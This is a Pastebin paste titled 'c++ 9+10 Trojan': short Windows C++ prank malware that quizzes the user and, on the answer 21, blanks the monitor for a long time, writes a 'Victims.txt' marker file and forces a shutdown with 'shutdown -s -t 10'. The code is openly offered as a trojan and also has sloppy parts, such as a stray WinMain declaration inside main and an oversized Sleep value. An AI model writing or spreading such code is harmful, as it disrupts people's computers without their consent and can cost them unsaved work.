Advertisement
Guest User

c++ 9+10 Trojan

a guest
Nov 25th, 2014
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.23 KB | None | 0 0
  1. // By An UnKnOwN CoDeR iN DiStRiCt 622
  2. // This was made as a prank and nothing more.
  3.  
  4. #include <iostream>
  5. #include <windows.h>
  6. #include <fstream>
  7. #include <string>
  8.  
  9. using namespace std;
  10.  
  11. // Comment Functions
  12.  
  13. void comment1 () {
  14. cout << "Good choice! \n";
  15. Sleep(2000);
  16. cout << "Answering anything other than 19 would've resulted in a bad outcome.";
  17. Sleep(2000);
  18.  
  19. }
  20. void comment2 (){
  21. cout << "I don't like that answer... \n";
  22. Sleep(2500);
  23. cout << "I don't like it all... \n";
  24. Sleep(2500);
  25.  
  26. // Main
  27.  
  28. }
  29. int main() {
  30.  
  31. int choice;
  32. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow);
  33.  
  34. cout << "What's 9 + 10?" << endl;
  35. cin >> choice;
  36. if (choice== 19)
  37. {
  38. comment1();
  39. }
  40. else{
  41.  
  42. }
  43. if (choice== 21){
  44.  
  45. comment2();
  46.  
  47. // Turns the monitor off.
  48. SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
  49.  
  50. // The Higher the number, the long the monitor will stay off.
  51. Sleep(100000000000);
  52.  
  53. // Turns monitor on
  54. SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) -1);
  55.  
  56. // Confirms victims
  57. ofstream outFile;
  58. outFile.open("Victims.txt");
  59. outFile <<"Got one";
  60. outFile.close();
  61.  
  62. system("shutdown -s -t 10");
  63. }
  64.  
  65. return 0;
  66. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement